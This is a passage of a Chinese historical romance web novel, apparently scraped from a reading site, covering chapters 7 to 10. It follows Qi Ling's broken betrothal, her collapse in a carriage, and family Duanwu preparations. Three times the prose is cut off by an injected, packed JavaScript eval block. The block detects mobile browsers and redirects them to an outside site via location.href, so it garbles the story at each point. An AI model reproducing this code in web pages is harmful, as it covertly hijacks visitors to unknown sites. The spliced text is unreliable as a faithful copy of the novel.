祁泠听得云里雾里,不甚分明,卢肇月和他表妹杜氏总是走在一处,被人看见了说是表兄妹亲近些也无可厚非,发生什么能让人说是意外? 她想着,便也问了出来。可小厮抬眼看祁清宴,闭紧了嘴,没出声。 祁泠正疑惑着,祁清宴走近,一抹清苦的气息扑面而来,他抬手,扶起她鬓边欲要滑落的发钗,唤她一声,“妹妹。” 对着她的视线,他微微一笑道:“同是祁家人,做兄长的,教妹妹一件事。有些事,不必低头求人,动动手就可以了。” 7. 第七章 卢肇月近日总觉倒霉。 原本父亲被调任归建业,入了贵人的眼,将被重用。新帝年近半百,目光放长远些,若站对了队,熬上几年,卢家必会更上一层楼。又逢他将娶娇妻,本是和美之事,意气风发之时。 一切的改变都在那日—— 重回建业,他同旧友们出去吃酒,难免去了风月场所,包间内舞姬轻歌曼舞。他的两位好友身边都有莺莺燕燕,而他自己独酌。 旧友们皆笑他是个木头,但他只笑笑不说话,纵有意动,可一想到祁泠,那份心思又淡了下去。 虽说两心相许、别无旁人是他一时情急许下的诺,时日久了,他倒也实实在在有几分想要践诺,同祁泠夫妻情深的心。 他吃了几杯酒,本欲离开,却有侍从来邀约,说隔间几位郎君在宴饮,邀他与友人过去一聚。 同是清流士族,也有差别之分。卢氏人丁稀少,卢父前子弟无能,险些沦为落魄士族,与那些家族昌盛、累世公卿之家不同。 他本疑惑那些名门士族子弟为何主动带上他,但侍从提及祁家三郎也在,他才想起,那是他未来妻子的堂兄。 可祁泠多年未回建业,又能有什么交情,连他都忘了这层关系。 但与其交好,总有数不清的好处。他与友人一同前去,结识了谢家、慕容家还有燕家郎君,这些郎君待人亲厚,没有传闻中的拒人于千里之外。 他也见到了名满建业的琢玉郎。 祁清宴身旁无女侍,独坐一处,案前茶香氤氲,格格不入此地奢靡气,见卢肇月到此,他神情淡漠,略一颔首以表礼节,坐过片刻就走了。 而卢肇月留下,身份低了一等,不好失礼告辞,胡乱喝酒到晚间,不甚清醒,酒后纵情……次日醒来,他极为后悔,只隐秘地希望祁泠不要知晓。 好不容易瞒了一月,那舞姬竟有身孕,闹到卢家,出了风波,祁泠还是知道了。同他吵过后,她根本不理会他送去的信,拆都未拆就遣人送回来。 卢肇月总要提防着她闹出什么事来,这几日总想着要去祁家,见祁泠一面,可建业城中突然多杂事,金执吾手下忙了起来,他脱不开身。 但他知晓,她自己退不了婚,只盼她早些消气。 建业人尽皆知,祁家二房当初同祁家长房生了些龌龊,才从祁家宅子搬出,去了江州。多年过去,祁观复的官职未进分毫,光是祁家二房,不能强迫卢家退婚。 转眼到了瑞安王妃大寿,皇帝派身边的大太监去送礼,两位皇子都在。卢肇月也同父亲一同去祝寿,父亲趁机为他引见贵人。 寿宴开始前,表妹传信来,说有要事告诉他,又说是与祁泠有关的。他去赴约,最最倒霉的发生了,两人走至桥上,方说几句话,桥塌了。 他救表妹上来的场面被不远处的郎君娘子撞见,男女衣衫湿透,此事压到寿宴结束,瑞安王妃要给祁家个说法。 大殿内,卢肇月换了一身衣裳,候了许久,头发干透,双手作揖,解释道:“王妃娘娘,表妹落水,我顾及亲情相救,实乃意外,未有私情。” 他话音落下,有奴仆入内到瑞安王妃旁传话,瑞安王妃点点头,奴仆出去一趟,不久,殿门处脚步声响起,他以为是祁泠,回头望去。 来人一身广袖的素衣,发丝用竹簪束起,眉目清疏,郎君清隽,如雪中青松。祁泠落后他半步,两人一同向瑞安王妃问了礼。 祁清宴开口,“听闻祁卢两家的婚事生了变故,祖母年迈受不得打击,便由我替妹妹做主,来看看出了何事。” 上首的长辈有瑞安王妃和卢夫人,祁家老夫人听说这事后,定要卢家给出一个说法来,据说被气得心口疼,先行归家了。 八成是个借口,又不是亲孙女,有什么可伤心的,不过是当个甩手掌柜罢了瑞安王妃心里想着。但她是主人,在她地盘上出了事,还是要解决的,她叹了一口气,“说起来,也算不得天大的事,落水救人理所当然,人命比旁的都重要,只是杜家娘子被卢郎君救上来时,许多人都瞧见了……” 这与祁泠的事不同,她救的是五岁的幼童,一上岸银盘又给她罩了厚实的披风,在场的人不多,只有几个仆从。 而这对表兄妹在花墙内一处木拱桥上说话,不远处就是乌泱泱的郎君娘子们,齐刷刷见到了卢肇月抱着他表妹出来。 女子的名声毁了,以后恐怕是有头有脸的人家都不会娶她为正妻。 卢肇月的表妹杜仙露也在大殿之中,她站在卢夫人身侧,与世人崇尚的清瘦不同,她略微丰腴,嫩白得似上等羊脂玉,长相可人,鼻子和嘴都小小的,两只圆圆的眼离得近些,此刻垂着,眼眶红红。 祁泠见过杜仙露几次。 初见在江州,那时她以为杜仙露是来探亲,两家的婚约已定,她便把杜仙露当成妹妹。 两人一处玩得不错,若不是她发现杜仙露表面同她痴缠黏在一处,背地里却和江州的女娘们说她身世不好,又同卢肇月暗戳戳说她不检点,从前有相好的郎君的话。 祁泠起初还不解为何杜仙露对她有恶意,直到卢夫人将抬平妻的念头摆在明面上。 今日再见杜仙露,她看起来像霜打的茄子。祁泠并不打算出声,以她对卢夫人的了解,卢夫人十分疼惜侄女。 果然,卢夫人蹙着眉,心里是真抽着丝疼,她这般将面子看得重要的人,今日算是丢尽脸面,各家夫人没在明面上提,但私下里不知会怎么嚼舌。 最可气的是,这本是她看好的一对,若不是半路冒出来个祁泠,怎轮得到被旁人诘问。 她猜到祁家老夫人不会管祁泠,十年前因为祁泠的身世,祁家闹了多大一场笑话,没想到祁家大房还能有人为祁泠出头。 她摆着长辈的姿态,“私不私情未免太过难听,嫡亲的表妹,泛思怎会不救,不值当这么闹下去。将留仙露在卢家就是了。” 倒也只能是这个办法。瑞安王妃早就想到了,不然还有什么两全的法子?只是祁老夫人拉着脸,一副非要说法的样子,她才被迫宴后留人。 此刻她更想回去看自己的小孙子如何了,便圆场道:“事发生在王府,届时大喜之日,老身定带着贺礼,亲自前去庆贺。” 这已是极大的荣光了。 祁泠本来便打算退婚,又怎能平白无故认下这回事。她唇微张,方要开口,身前的人已然说了话,“不可。” “婚姻结两姓之好,倒要弄清到底是卢家同祁家结亲,还是同杜家结亲。妻妾位不分,恐生大乱。救人乃人之常情,祁家自通情达理不会计较,只是……孤男寡女为何单独相会?”祁清宴却开门见山,不容对面含糊过去。 卢肇月有口难言,是杜仙露引的路,若是说出来,情况更糟。 而杜仙露含泪垂头:“姑母,仙露不愿毁了表哥亲事,愿此后去尼姑庵,青灯古佛,了此残生。” 瑞安王妃为难,看看卢家三人,又看看祁氏兄妹:“这……” 祁清宴语气冷然:“祁家绝无委屈求全的女儿,早年二叔同卢家定下婚事,祖母并不知晓,即使互换庚贴,也是未经长辈应允的婚事。故而,不如一拍两散,各自婚嫁。” 此时此刻再提退婚绝不是玩笑,卢肇月惊愕,转望向祁泠,“阿泠,这是你的意思吗!?” 卢夫人本也不想要这桩亲事,被祁家逼到脸面丢在地上,她怒极,对卢肇月道:“说,你要表妹的命还是同祁氏的婚事!” “好好的,莫要闹得这么僵,祁三娘子还是王府的恩人,问一问她便好了。”瑞安王妃问。 祁清宴挡在前面,早已知晓祁泠的意思,她自己说不如他说,遂道:“不必问她,祁家的人,我做得了主。” 祁泠知晓他是好意,但这是她的意思,被卢肇月紧紧盯着,她还是将话一字一句说出了口—— “我不愿。” “既如此,便算了。常言道宁拆十座庙,不毁一桩婚,但也不好俩家结亲不成反生怨,老身做个主,明日两家退回庚帖、定婚书和信物,就罢了。”瑞安王妃道。 卢肇月面色灰败,权势压倒一切,纵是他不同意,也再掀不起波澜。 卢家人告退后,瑞安王妃留下祁清宴与祁泠,又追查小世子落水一事。 小世子有紧跟在身边的乳娘,两名宫女,两名太监,一共五名侍从。是乳母的倏忽,常陪小世子去水边玩,今日一转身的功夫没看住小世子,一名宫女不通水性,下水为救小世子溺死了,那时又没有旁人路过,确定是意外。 关系到自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583794|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,瑞安王妃这回是真的生气,发落了乳母,余下的宫女和太监也都重重打了板子。 又不免在心底里犯嘀咕,紧赶慢赶在她寿宴前修好的院子,她的小孙子掉湖里,同日桥又塌了,莫不是这一脉当初造反时造了太多杀孽,翻新的院子犯了风水? 以后这后院还是少逛的好。 …… 祁泠在旁边听着审,小腹愈发疼,几乎坐不住,好不容易挨到最后,已然过了午时,同祁清宴一同离开。 卢肇月憔悴不少,等在后院洞门处,见到祁氏兄妹上前,忽略掉祁清宴,目光殷殷望着祁泠,同她道:“阿泠妹妹……我想最后再与你说几句话。” 祁泠想尽快归家,但知晓两人以后再无叙话之时,已成陌路,望向祁清宴:“麻烦堂兄,稍等我片刻。” 祁清宴望她几眼,颔首应下。抬步走远些,那个位置既能看清两人,又听不见说话,极有分寸。 卢肇月眼角耷落着,满是颓唐,声音低沉:“阿泠,我未能守诺,但我当真想与你一生一世一双人。即使被母亲骂过多次,也未纳通房。迫于母亲,才留下子嗣” 他顿了一下,问:“阿泠,你信我吗?” 祁泠知道这些事,两人的婚约能走到成婚前一步,她从前未尝不满意这桩婚事,她说:“我信。” 信他曾有过真心。 她的神情不似作假,也并未敷衍,再无婚约,他对她而言不过是陌生人,她自然不会愤懑。 卢肇月目光贪恋描绘她的面容,那样好的娘子,若是关心你,轻声细语,一颦一笑也是令人心折的,他突兀生出几分真切的恨来,咬牙道:“阿泠,我恨你狠心,恨你如此绝情。其实从头我便看得分明,我们的婚事之所以能定下,是因着我极其喜爱你,听你的话,甘愿为你荒谬守身,满足你对未来的夫婿的期许,而你对我,向来是没有一丝真情的。” 祁泠下意识反驳没有,若是没有真情,她怎会在卢夫人面前委屈求全,又怎会因为他狎妓、有子嗣而伤心? 卢肇月看着她否认时眼中的迷茫澄澈。她应是不知晓真正喜爱一个人是怎样的辗转反侧。寤寐思服,将她的话奉为圭臬,不会因为一件事不合心意而抛弃对方,彻底决绝。 他是真的想同她成婚,即使偶然有了妾室和子嗣也不会再踏足别地,不会负她。他苦涩笑了笑,不光恨她,也恨自己,到了婚事再无转圜的余地,恨极她,却不忍去报复害她。 毫无办法,他只能释然,喃喃道:“是我着人算计,毁了婚事。恐怕我不日将成婚……真想让你也尝尝爱而不得的苦,但阿泠妹妹,我总是盼着你好,愿你嫁的人比我更好。” 祁泠直到如今才回过味来,今日事怕因她而起,她心中突然涌起一点细微的愧疚。不是做错了事的愧疚,若是卢肇月对她恶语相向,她不会有任何反应,但他却这样说,是对真心的一点愧疚。 她垂头道:“对不住。”她只是想同他退婚,并不想闹得他脸面尽失。 卢肇月知晓这不是祁泠的主意,他比她了解他的更多,见她面色隐隐发白,听说她今日也落了水,怕是身子不适。 “你走吧。”他转身先走了,心头恍若被人剜去一块,整个人空荡荡的,不愿再回头。 他脑子里只反复涌起一个念头,要是当日要是不出门便好了,要是不攀附权贵子弟去赴宴就好了…… 走了许久,突然有人唤他,“泛思。” 卢肇月扭头,竟见到父亲为他引荐的贵人紫袍玉带立在石径旁,而他没瞧见,直愣愣地从贵人身边走过,险些犯了大不敬之罪,忙拱手道:“殿下金安,恕臣神思恍惚,一时失察殿下在这处。” “无碍,本宫方才都见到了。” 卢肇月仔细看了四周,这才发现,他同祁泠原本在门洞旁的树下叙话,而石径离门洞处不远,又地势高些,五皇子恐怕将方才一幕尽收眼底。 他一时汗颜。 五皇子楚循却笑吟吟的,问他:“方才的女娘是谁家的?” 卢肇月愣在原地,嘴唇翕张,若是前几日他会欣喜介绍那是他未过门的妻,此刻却说不出。但最终还是会说出口的,即使他不说,贵人也有千百种法子查到。 他想,恐怕他还是害了她。 8. 第八章 一辆黑漆祁家马车仍留在王府侧门,祁清宴和祁泠在王府内陪着审讯时,银盘在内的侍从都在府外候着。 银盘蹲在阴凉处昏昏欲睡,脑袋重重一落,忽而清醒几分,抬头正巧看见祁清宴走出来,祁泠跟在后面。 她忙站起身,方想迎上去,但看小童和方才进院报信的小厮都站着等。她飞快瞥一眼祁清宴,也不敢轻举妄动了。 只是银盘太好奇到底退没退婚了,一双眼不由得滴溜溜盯着祁泠,却见到她家娘子神色不妙,但弯起嘴角同她点点头,银盘才放心,也高兴起来。 祁家各房都有各自的马车,来时老夫人的马车里宽敞,又通铺了一层软和绒毯,温暖舒适。 这应是祁清宴的,内里如他书房一般素净,坐处铺簟席,中置一小案而已。 祁泠坐在祁清宴侧旁不远处,马车走起来,在大路上也有几分颠簸,连简单的坐直都让她有些难忍,索性靠在车壁角落。 马车内太过狭小,与外界隔外,外头喧嚣吵闹,内里便愈发静谧。 静谧到能听清彼此呼吸,一个清浅平和有规律,另一个克制着,时而轻得听不清,时而又重又乱,压抑着疼。 祁清宴望过去,她面上血色尽失,额前、鼻前沁着冷汗,垂下的羽睫不停颤动,恍若雨中花,柔弱不堪折。 自打落水后,她状态就不对了。他曾经问过一次,她答无碍,他便不会再问,祁清宴收回目光。 “堂兄,”祁泠攥紧袖口,咬紧下唇,攒着力气,忽而唤他一声。 方才在王府,小腹坠疼,她还觉尚可忍受,每次月事都痛,忍过去就好,她已然习惯。可在马车上,因着颠簸痛得愈发难忍,她胸前仿若压了一块大石,呼吸都困难。 她想保持清醒,声音微弱,“我想知晓,今日是怎么回事。” “好,阿泠,我同你讲。” 祁泠听得恍惚,这似乎是祁清宴第一次唤她阿泠,又听他的声音响在不远处:“因势利导,顺势而为。” “你想退,有人想进。时机恰当,推一把,结局利于你便好。人若有欲,定愿极力一争。桥会塌,心急之人落水。” 祁泠脑海里模模糊糊浮现出杜仙露的脸,若是杜仙露知道桥会塌,为了妻位冒险去设计表兄和姑母…… 可是算计人心太难,她断断续续地问:“若、若没能按设想的方向走呢?” “施压?卢家总会退一步……” 祁泠一只手压着腹部,揉皱衣裳最上面的纱,眼前一阵发黑,耳边祁清宴的声音渐渐听不清…… 身旁的女娘忽而软软倒下,两人的距离不近,可同坐一马车也远不到何处去—— 怀中突兀落入一人,头枕于他膝。 祁清宴的眉一瞬紧紧蹙起,陌生的、与女子接触的感觉让他头皮发麻,恨不得将人丢出去。 但他知晓,她与旁人不同,没有杂念。是而他并没动,忍着,不过声音含惑,问她:“祁泠?” 无人答他。 说是枕,倒不如是压,大半张脸连带着挺翘的鼻梁都压在他衣袍上,他看不清她的脸,只能见满头青丝,和流畅的侧脸。 祁清宴手扶过祁泠的头,女娘双眸紧闭,柳眉无意识蹙着,已然昏过去了。 祁清宴呼吸一滞,他看出她难受,可万万未曾想到会难受到晕过去!一时又怀疑,莫不是中了毒,王府腌臜,说不定就着了谁的手段。 “贡承,到了何处?”他扬声问驾车的马夫,也正是方才的小厮。 贡承勒下缰绳,环顾四周,回道:“郎君,已到永青巷。” 刚从瑞安王府出发不久,回乌衣巷还约莫要一炷香,而祁泠的模样瞧着不像能等的起的。 祁清宴一手扶着祁泠,立即吩咐道:“回泉涧巷的宅子。”比起祁家,泉涧巷的宅子更近,过了这条大路,转个弯便到了。 马车停下,他犹豫过后,横抱起祁泠,大步往院子里走,对门口的侍从道:“去请朴叔来。” 今日守在门口的是贡承的弟弟贡嘉,看着祁清宴抱着人回来险些惊掉下巴,被贡承打了一下,反应过来搔搔头,“啊……郎君,朴老又出门看不要银子的诊了,没在府上。” 祁清宴道:“去附近的医馆去请疾医,”又想起她同祁望舒的话,走出几步才添道:“……再去请位医女来。” 居舍雅致清靓,侧间放着一张沉香木雕长榻,他俯身,打算把祁泠放在榻上。而她昏着,但一只手紧紧攥住他的衣袍下摆。 祁清宴的眉便展不开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女医写完方子出门,在贡承处领了五十两银子后离开,五十两已够普通人家五年嚼用。她行了多年医,也知晓规矩,这不光是诊金,还要让她封口。 …… 祁泠眼睫缓缓撩起,眸中映出祁清宴的面容,她面上满是疲惫的倦意和迷茫,一时思绪空白,不知是不是梦。 而祁清宴垂眸望她,开口问:“醒了?” 9. 第九章 他的声音压得很低,轻如月雾,落在耳边。 祁泠瞬间清醒,眼睛睁大,绞尽脑汁回想着,她依稀记得最后两人在归府的马车上,她太疼了,故而寻个由头与他说话…… 怎就突然到了一张榻上? 祁清宴抬手指了指他左下衣摆,祁泠顺着望过去才发现,那处皱成一团,与衣裳别处对比起来十分明显,而她的手正落在旁边。 祁泠忽而明悟,是她攥着他衣袍不松手,他才被迫留这里。 她忙挪开手,离他远些,撑着床沿坐起身来,嘴里充满苦涩药味儿,干巴巴解释道:“堂兄,我不是有意,失礼了。”发出的声音带几分虚弱的哑。 祁清宴笑了笑,斜望了她一眼,声音散漫似有玩笑意,“我知晓妹妹非有意,不必在意。” 祁泠默默坐直了身,太多尴尬事都被他遇见了,倒也不差这一次。她四处看了看,映入眼帘的是陌生绸缎床帐,偏古雅的屋内摆设也从未见过。 他适时道:“你忽然晕过去,我不知你怎么了,回祁府怕耽搁病情,一时着急就近来了此处。”他亦起身,走了几步,到一个合适的距离,才道:“这是我在府外的居所。” “疾医和女医来过,说你寒气入体,才会疼得厉害,留了些药,药丸在你的侍女银盘那里,这几日……记得吃。” 祁泠听得认真,点点头。思绪渐渐回笼,想起马车上他回答的话来,顿时坐立难安。又麻烦了堂兄一次,他待她如此好,而她竟怀疑过小世子落水是他所为,还试探他…… 她紧张,下意识攥了攥袖口,垂头不与他对视,“堂兄,瑞安王府时,我误以为是你做的,抱歉。” 什么?祁清宴见她支支吾吾的模样,忆起白日客房时她问的话,挑了挑眉,她怕是想通了,如今又误会了什么。 不过,他为何要解释? 祁清宴只笑得温和:“无碍,”又贴心地问:“身体如何,可要再休息一会儿?” “不了不了。”祁泠忙不迭站起身,幸而鞋还在,共处一室的别扭少了些许。一时起猛了,她身形有些不稳,扶了一把旁侧床柱,慌忙间朝祁清宴笑了下,“我还是早些归家吧,堂兄何时回去?” “我今日留在这里。”祁清宴道:“我派人送你归府。” 她道谢,祁清宴将贡承唤了过来,送祁泠与银盘回去。 人走了许久,室内仍飘荡着几丝女儿香。 …… 祁泠回府后修养几日,拿回来的药效用甚好,疼时吃上一颗昏睡片刻便不疼了。等身体好些了,她去正院给冯夫人请安。 内室的几扇窗大开,暖风吹去经久不散的药味,日光轻柔笼着冯夫人,还有蹲在罗汉榻下摆弄五连环的小娘子。 “母亲。”祁泠在门口问安。 祁云漪今年七岁,梳着一对双丫髻,簪着两朵用银丝珍珠穿成的珠花,听见熟悉的声音猛然抬头,“阿姐!” 她丢下手中迟迟解不开的五连环,跑过去抱住祁泠的腰,埋头蹭啊蹭,撒娇道:“漪漪好久好久没见到阿姐了,想阿姐!” 祁云漪前些日养在老夫人的暖阁里,有时被祁观岚带去三房玩,连着近十日没回二房了。 冯夫人这几日精神好了些,将小女儿接了回来,她靠着引枕惰于起身,见姐妹两个亲亲热热,面上浮着慈爱的笑意,招呼着:“快过来坐。” 祁泠坐在冯夫人对面,祁云漪两下蹬掉了鞋爬上榻,顺势窝在祁泠怀里。 冯夫人问:“同卢家的事如何了?” “前日卢家派人来,祖母那边也派听荷过来,照着聘礼单子去库房一一清点后抬了回去,当着两家人的面,烧了庚帖和婚书。”祁泠说罢,想起卢肇月在王府同她说的话,垂了垂眼,“曾经收到的礼物与信笺,我都派人私下送还了。” “好,彻底了结了便好。这事你祖母既管了,我不好再插手进去。”冯夫人说着,嬷嬷端了热羹过来,给三个主子都递去一碗。 祁泠接过她自己那碗,放下没动,先哄着祁云漪尝尝味道,娇气的小娘子才肯自己接着吃。嬷嬷见此同冯夫人笑道:“娘子一向有耐心又细心,再寻个好人家,不多久也该有自己的孩子了。” 祁泠听着说不清心头是什么感受,羞赧是没有的,只空落落的,无奈居多。她不想嫁人,同卢家的婚约定下拖了两年,又毁了,再寻亲事,绝对等不上两年。 她在江州及笄,再过几月便满十六了,婚事等不了太久,况且父亲母亲也盼着早些嫁她出去。祁泠垂头搅动着碗中甜羹,没作声。 “我倒盼着阿泠晚些嫁出去。”冯夫人忽而开口。 祁泠惊讶抬头,祁云漪捧着甜羹吃得不亦乐乎,眼睛却睁得圆溜溜的,耳朵也没闲着,偷偷听着母亲和阿姐叙话。 冯夫人张了张嘴,方要说话,忽而恶心,她偏过头掩唇咳了几声,摆手制止了担心欲要上前的嬷嬷,拿着手帕按了按唇角,温柔的目光落在两个女儿身上,“阿泠,自打有了云漪,我对你疏于照料,婚姻大事,也没早些发觉卢家不好……今个儿退婚也好,你再多留我身边一段时日。” “若能活着见到你成婚、云漪成婚,我这辈子就知足了。” 冯夫人身子不好,众人皆知,在江州时几次险些没熬过去。心头滞涩发堵,祁泠不敢抬头,怕被冯夫人看见发红的眼眶,闷闷道:“母亲莫要揽责,养育之恩阿泠永远铭记,若不是母亲将我带回家,我不知在何处……” 冯夫人摇了摇头,“长辈的事,其中复杂,你莫管太多,也莫要怨恨……” 她沉默后不再提,转了话,“临近端午,我好些了,也要操劳起二房的事,管不上云漪,”她转头看着听不懂的祁云漪,“云漪去同阿姐住几日如何?” 祁云漪当然乐意同祁泠一块住。冯夫人又嘱咐了祁泠,端午前,祁家全家都要斋戒三日,以表虔诚。 从正院出来,祁泠牵着祁云漪慢慢往辛夷阁走,祁云漪紧紧黏在祁泠身边,小嘴没有闲下来的时候,一直讲着这些时日在瑞霭堂发生的新鲜事。 说得累了,她吧唧吧唧嘴,摇着祁泠的手,拉长音求道:“阿姐给我做甜糕吃好不好?在祖母那什么都好,就是见不到母亲和阿姐不好,还有糕没味道,不好吃。” “好啊,回去便给你做。”祁泠想着既要斋戒,各房都不能沾荤腥,饭用的素,油水少,用的糕点杂食便多了。正好她多做一些,送些给长辈,还有堂兄了。 等下次去寻望舒表姐时,再给三房也送上些。她回房哄睡了祁云漪,带着银盘去了膳房。 祁泠挑了些品相好的豆和枣,一同蒸熟,分出两份,压成泥再加蜂蜜拌匀。加蜂蜜多的捏成李子形,糖少点捏成桃子形,用以区分。最后,外面裹上一层米粉,再上锅蒸。 蒸熟后,银盘掀起锅,一股豆枣的甜香散出,混着清新的米香,勾得人垂涎欲滴,恨不得立刻吃上一口。 祁泠在江州家中无事,曾同厨娘学过一段时日手艺,往日多给祁云漪做些小点心吃。自打回到建业,一堆糟心事围着,她也许久未下厨了。 银盘好不容易才吃上,赶快夹进嘴里一块,被烫得张嘴哈气,扭头看祁泠还在案板捏着什么,好奇走近,“娘子,还做什么呢?” 祁泠又蒸了些藕粉米糕,正拿着小罐往上面洒些点缀的桂花蜜,道:“听云漪的话,祖母应不喜甜,不知堂兄口味,索性再做些清淡的玉露团,一同送去。” 银盘笑嘻嘻又捡走几块玉露团去吃,与祁泠一同分装好糕点。 两人回辛夷阁时,正好祁云漪睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583796|171632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了。祁泠净过手,重新梳妆后,带她出门去送糕点。 祁泠先去冯夫人处,又托玉盘送些给父亲,后走小门去了老宅,到瑞霭堂时,老夫人正在用晚膳,老人家晚膳用的格外早。 听荷传信后,邀两人进去。 祁泠带着祁云漪给沈老夫人请安,沈老夫人应了一声,祁云漪倒腾着小腿跑去祖母身边坐着。 沈老夫人抬眼,望着玉立门旁,疏远有礼的祁泠,放下筷子,主动道:“听荷说,你亲手做的糕点,端来我尝尝。” 祁泠上前,打开放在案桌上的食盒,端出一盘糕点放到沈老夫人桌前,听荷刚挪出来的位置,她道:“是玉露团和枣泥果子,雨露团不腻,枣泥果子容易克化,不知祖母喜欢哪个,阿泠都做了一些。” 玉露团晶莹剔透,枣泥果子的样子有趣,都好看得紧。沈老夫人夹一块枣泥果子,咬了一口,一顿,随后细嚼慢咽吃下一整块,赞道:“你手艺不错,也有巧思。” 听荷将位置让给祁泠,祁泠便在老夫人身边侍奉着用完了膳。她看出老夫人极喜欢枣泥果子,用了三块,雨露团也尝了半快,听荷在旁笑说老夫人比平常用的多了不少。 饭毕,沈老夫人漱过口,拉了祁云漪在身旁,同祁泠道:“你若有空,端午时做些角黎送去各房。婚事没了,你在府上留着,便都是一家人。” “但不必做多,你是祁府主子,一人备上一两个,叫他们尝尝味便可,多做饱腹是下人的活计,别劳累了自己。切记不可漏掉一处。管他们喜不喜欢?你送了,自是你一份心意。” 祁泠应下,心里也知晓是祖母是在帮她。祁家没人差她一份糕点,可她没什么能回报的。 沈老夫人又想起,“方才看你还带了一盒糕点来,是要送谁?” 祁泠回道:“打算给堂兄送去。” 沈老夫人其实看不懂自个孙子到底是如何想的,但作为长辈,愿意看小辈们关系亲近,祁泠知恩图报是好事,便道:“同是一家人,他有心帮衬你,你与他走得近些也好,云漪留在我这,你自去吧。” 祁泠从瑞霭堂告退,带着银盘去了琅玕院,院前的门童却说郎君不在。 祁泠并不吃惊,毕竟她前几日刚见到祁清宴在府外的宅子,比琅玕院不差 门童同祁泠磕磕绊绊地说话,越说声音越小,最后声若蚊呐,让人听不清了:“娘、娘子,交于我罢,郎君准备族中祭祀,晚间定会回来,我会转交给郎君……” 祁泠听了个大概,便给了他,又笑道多谢。谁料着小童抬头望见她笑,更羞赧了,低着头,抱着食盒一溜跑走了。跑到转弯处,他后脖子被提溜住,扭头一看,是碧若。 碧若正巧在院里,听到了经过,仗着身量高,将食盒抢了过来,警告门童,“东西给我了,不许告诉旁人。” 小童气得面色通红,抢不过碧若,将青娥拉过来告状。青娥听后问碧若:“泠娘子送来的糕点,你做什么扣下?” 碧若冷笑:“琅玕院自有厨娘,用她献什么殷勤?我同夫人院里的姆妈打听过了,她算什么正经娘子,一个低贱的歌姬生的——” “碧若!”青娥厉声喊了句,她神色凝重:“不论身世如何,她在祁府里都是主子,而你我是奴婢,在郎君院内也是奴婢。若你再针对泠娘子,我定会如实告诉郎君。” 碧若不以为意,忽而定定望着门口。也是不巧,祁泠方走,祁清宴便回来了。 他看着三人聚成一团,似在争执,路过时问上一句:“发生何事?” 碧若一俯身,语速极快:“二房的泠娘子来给郎君送糕点,可小厨房早已备好了点心。” 祁清宴目光略一停驻在碧若拿着的食盒上,并未驻足,径直走向书房,只留下一句,“拿下去分了吧。” 10. 第十章 天色半明半暗,薄暮未昏之时,祁泠揉了揉酸痛的右手腕。 小歇片刻,她又拿起银制的小勺,将朱砂、雄黄、香草、白芷依次装入刚绣完花样的香囊。 趁着最后一抹日光,她又用五色丝线弦扣成索,束紧香囊口,以防香料掉出,两个圆滚滚绣着如意纹路的香囊便成了。 女眷要随当家主母敬献绣品,祁泠缝了两个,其中之一是为祁云漪准备。 祁云漪闹腾了一天,四仰八叉躺在架子床内里,已然睡得很熟。祁泠更衣后,也随她安寝。 翌日,天尚未有一丝亮意,玉盘便将姐妹两唤了起来,先用兰草煎水沐浴,驱邪净身,又仔仔细细梳妆打扮一番。 玉盘看顾着祁云漪。祁泠不光要拾掇自己,也吩咐院中侍从将昨晚包好的角黎煮熟,赶在祭祀前送到各房去。 辛夷阁忙活成一片。 不多时,银盘端着盛有热水的盥洗器皿从外面进来,“娘子,那边的姐弟来了,说大人让他们来接小娘子,一同去老宅。” 祁泠应声知道了。她净过手,摸了摸祁云漪的脑瓜,同祁云漪道:“漪漪,你随着大姐姐和哥哥一同走,到祀堂之后去寻母亲,今日跟在母亲身边。” 她并不担忧柳氏所出的姐弟会对祁云漱不利。一是有玉盘时刻看着,二来,祁云漪是位小娘子,将来一份嫁妆给出去便好了。二房的一切,将来都是祁雪峤的。 祁云漪天真仰着头,黑葡萄似的眼睛里满是疑惑,歪头问:“阿姐不去?” 祁泠点点头。 她今日梳留仙髻,发间金制芍药花瓣薄如蝉翼,层层相叠,青丝中又掺五色丝,眉间金箔为钿,月白衣裙衬得恍若仙子。 祁云漪头上也有一朵精致的小金花,姐妹俩的发饰衣裙皆是冯夫人送来,为端午准备的打扮。 “阿姐今日好看,为什么不去?”祁云漪拉着祁泠的手不肯松开,追着问。 祁泠一时未答,祁云漪脑瓜一转,“是大姐姐说过的,阿姐同我们不一样吗,不能一同出门吗?” “嗯。”祁泠并不否认。祁云漪也早早知道她不是亲姐姐了,她口中的大姐姐是祁云漱。 两人从小关系便不好,祁云漱在背后逮到机会就要在祁云漪面前强调祁泠非祁家亲生。 祁泠又同祁云漪道:“漪漪乖,午后吃饱,就可以回来见阿姐了。” 祁云漪也点点小脑瓜,恋恋不舍地走出门去,虽然舍不得阿姐,但还是祭祀的新鲜事更吸引她。 等在外面的祁玉漱也是一身白衣,簪珥华贵。 其弟祁雪峤只比祁泠大几月,少年身量刚刚抽条,显得又高又瘦,竹竿似的,比身旁的姐姐高出一头有余。 他在辛夷阁前来回踱步,时不时望向门口,被烫到似的,又匆匆移开目光。 